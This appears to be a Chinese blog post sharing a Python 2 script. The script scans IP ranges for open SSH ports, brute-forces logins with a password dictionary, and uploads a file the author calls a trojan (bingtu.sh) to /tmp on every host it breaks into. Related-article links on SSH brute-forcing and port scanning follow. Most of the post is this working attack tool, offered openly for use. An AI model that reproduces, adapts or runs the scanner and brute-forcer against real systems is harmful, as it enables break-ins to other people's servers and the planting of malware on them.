这个扫描是概率问题,是需要字典的,以下代码是作为参考,字典可以去网上下载,我就不提供,我提供的是思路!

#!/usr/bin/env python
# coding=utf-8
 
from IPy import IP
import socket,os,re,multiprocessing,paramiko
import threading,time
import os.path
from paramiko import SSHClient
from paramiko import AutoAddPolicy
from time import ctime
 
#---------->定义变量<---------#
#-- 密码文件
password_file=os.path.join(os.getcwd(),"passwd.txt_bak")
#-- ip文件
ip_file=os.path.join(os.getcwd(),"ip.txt")
#-- 执行文件目录
Trojans_file_dir=os.getcwd()+"/include_files"
 
remote_dir="/tmp"
username="ops"
timeout_time=1
port=22
threads_num=200
 
 
#读取ip列表然后将每行ip循环出来,最终存入alllines数组
def loop_ip_everyline():
    with open(ip_file,'r') as f:
        alllines=f.readlines()
    return alllines
 
#最终输出ip格式的ip地址,最终保存在real_ips数组
def process_ip(line):
    real_ips=[]
    ip= IP(line,make_net=True)
    ips=IP(ip)
    for real_ip in ips:
        rule="(\d+\.){3}(0|255)$"
        x=re.compile(rule)
        if x.search(str(real_ip)) is  None:
            real_ips.append(real_ip)
    return real_ips
 
# 扫描指定ip的指定端口,输出所有开放了22端口的主机,终保存在last_open_ip_list数组
last_open_ip_list=[]
def scan(ip_addr):
    s = socket.socket()
    s.settimeout(timeout_time)
    if s.connect_ex((ip_addr, port)) == 0:
        return ip_addr
    s.close()
 
def put_Trojans(ip_addr,password):
    try:
        t = paramiko.Transport((ip_addr,int(port)))
        t.connect(username="root",password=password)
        sftp=paramiko.SFTPClient.from_transport(t)
        sftp.put(Trojans_file_dir+"/bingtu.sh",remote_dir+"/bingtu.sh")
        t.close()
    except Exception,e:
        print e
        print 'upload files failed:'+ip_addr
 
def try_password (ip_addr,password):
    try:
        ssh = SSHClient()
        ssh.load_system_host_keys()
        ssh.set_missing_host_key_policy(AutoAddPolicy())
        #print  "当前处理的ip是",ip_addr,"密码是"+password,ctime()
        ssh.connect(ip_addr,port,username,password,pkey=None,timeout = 2,allow_agent=False,look_for_keys=False,banner_timeout=5)
        print "目标ip"+ip_addr+"password",ctime()
        sftpclient = ssh.open_sftp()
        sftpclient.put(Trojans_file_dir+"/bingtu.sh",remote_dir+"/bingtu.sh")
        ssh.close()
        sftpclient.close()
    except Exception, e:
        print e
        #print "%s processing %s %s" % (name, ip_addr,password),ctime(),"\n"
        #print "匹配中\n"
        pass
         
 
 
if __name__ == "__main__":
    #将ip列表中的所有地址范围以ip格式存入数组last_ip_list
    print "将ip列表中的所有地址范围以ip格式存入数组last_ip_list........."
    print "破解开始"+ctime()
    alllines=loop_ip_everyline()
    ip_addr_list=[]
    for  line in alllines:
        real_ips=process_ip(line)
        for x in real_ips:
            ip_addr_list.append(str(x))
 
     
    #循环扫描各个ip的22端口,将最终开放了22端口的ip地址以数组的形式存入last_ip_list
    pool = multiprocessing.Pool(processes=threads_num)
    result=[]
    print "扫描端口开始"+ctime()
    for ip_addr in ip_addr_list:
        #print "扫描%s端口中..................." % ip_addr
        result.append(pool.apply_async(scan, args=(ip_addr,)))
    pool.close()
    pool.join()
    last_ip_list=[]
    for x in result:
        if x.get() is not None:
            last_ip_list.append(x.get())
    print "匹配的ip是",last_ip_list
    print "匹配的ip是",last_ip_list
 
    print "端口扫描完成"+ctime()
    #循环匹配开放了22端口主机的密码
    password_list = [i.strip() for i in open(password_file,'r')]
    threads = []
 
    # 创建新线程
    #n=0
    print "破解密码,传马开始"+ctime()
    #for ip_addr in last_ip_list:
    #    for password in password_list:
    #        #n=n+1
    #        thread = threading.Thread(target=try_password,args=(ip_addr,password))
    #        thread.setDaemon(True)
    #        thread.start()
    #        threads.append(thread)
    #        #print threading.activeCount()
    paramiko.util.log_to_file('paramiko.log')
    pool_1 = multiprocessing.Pool(processes=300)
    for ip_addr in last_ip_list:
        for password in password_list:
            #n=n+1
            pool_1.apply_async(try_password, args=(ip_addr,password,))
    pool_1.close()
    pool_1.join()
    ## 等待所有线程完成
    #for t in threads:
    #    t.join()
 
    print "结束"+ctime()

  

python多线程扫描爆破网站服务器思路【笔记】的更多相关文章

  1. python多线程ssh爆破

    python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...

  2. python多线程、多进程、协程笔记

    import threading import time import multiprocessing import asyncio movie_list = ['斗破.avi', '复仇者联盟.mp ...

  3. 扫描网站服务器真实IP的小脚本

    #!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf_8 -*- # Date: 2015年9月11日 # Author:蔚蓝行 ...

  4. Python 爬虫笔记、多线程、xml解析、基础笔记(不定时更新)

    1  Python学习网址:http://www.runoob.com/python/python-multithreading.html

  5. python多线程与多进程--存活主机ping扫描以及爬取股票价格

    python多线程与多进程 多线程: 案例:扫描给定网络中存活的主机(通过ping来测试,有响应则说明主机存活) 普通版本: #扫描给定网络中存活的主机(通过ping来测试,有响应则说明主机存活)im ...

  6. 手写网站服务器~用Python手动实现一个简单的服务器,不借助任何框架在浏览器中输出任意内容

    写在前面的一些P话: 在公司网站开发中,我们往往借助于Flask.Django等网站开发框架去提高网站开发效率.那么在面试后端开发工程师的时候,面试官可能就会问到网站开发的底层原理是什么? 我们不止仅 ...

  7. python端口扫描用多线程+线程安全的队列+Thread类实现

    用线程安全的队列Queue实现扫描端口数据存储 用多线程扫描端口 用Thread类实现程序组织 #coding:utf-8 import sys import socket import sys im ...

  8. tcp端口扫描(python多线程)

    1 使用单线程扫描单台主机 首先实现的是对单台主机中0-1024端口的扫描,发现差不多每秒扫描一个端口,很慢. import socket def tcp_scanner(host,port): cl ...

  9. 老男孩Python全栈第2期+课件笔记【高清完整92天整套视频教程】

    点击了解更多Python课程>>> 老男孩Python全栈第2期+课件笔记[高清完整92天整套视频教程] 课程目录 ├─day01-python 全栈开发-基础篇 │ 01 pyth ...

随机推荐

  1. .net webapi跨域 web.config配置

    <system.webServer> <httpProtocol> <customHeaders> <add name="Access-Contro ...

  2. Java基础之(四)HashMap(jdk10)

    JDK1.7以前的HashMap jdk1.7中,当冲突时,在冲突的地址上生成一个链表,将冲突的元素的key,通过equals进行比较,相同即覆盖,不同则添加到链表上,此时如果链表过长,效率就会大大降 ...

  3. 第一二章、C++简介和基本语法

    C++简介 C++包含了三种编程模式,分别是面向过程.面向对象和泛型编程. 程序执行过程 C++编程格式 C++每个程序都会有main()函数作为入口,基本编程包括预处理/头文件.函数.输入输出语句等 ...

  4. python学习-38迭代器和生成器

    迭代器和生成器 ---- 迭代器协议和for循环工作机制 1.迭代器协议:对象必须提供一个next方法,执行该方法要么返回迭代中的下一项,要么引起一个Stoplteration异常,以终止迭代(只能往 ...

  5. Nginx 添加模块

    说明: 已经安装好的Nginx,需要添加一个未被编译安装的模块(以nginx-rtmp-module模块为例),则需要重新编译nginx nginx的模块是需要重新编译nginx,而不是像apache ...

  6. python3+requests:post请求四种传送正文方式

    https://www.cnblogs.com/insane-Mr-Li/p/9145152.html 前言:post请求我在python接口自动化2-发送post请求详解(二)已经讲过一部分了,主要 ...

  7. HTML5单页框架View.js介绍

    什么是单页应用单页应用,是指将用户视觉上的多个页面在技术上使用一个载体来实现的应用. 换句话来讲,用户视觉效果,与技术实现的载体,并不是一定要一一对应的.采取哪种技术方案,取决于产品设计.技术组成以及 ...

  8. GOF 的23种JAVA常用设计模式总结 03 面向对象七大设计原则

    在软件开发中,为了提高软件系统的可维护性和可复用性,增加软件的可扩展性和灵活性,程序员要尽量根据 7 条原则来开发程序,从而提高软件开发效率.节约软件开发成本和维护成本. 各位代码界的大佬们总结出的七 ...

  9. 1 集群状态、增删改查、全量替换、强制创建、设置单个index的分片数副本数

    检查集群健康状态,可以看集群颜色.(黄色:primary shard都正常,replica不正常) GET /_cat/health?v 列出集群所有index GET /_cat/indices?v ...

  10. git便携版 添加git-bash到右键菜单

    注册表路径 HKEY_CLASSES_ROOT\Directory\Background\shell 新建项取名open in git 默认设置为右键显示的名称 Git Bash Here 新建字符串 ...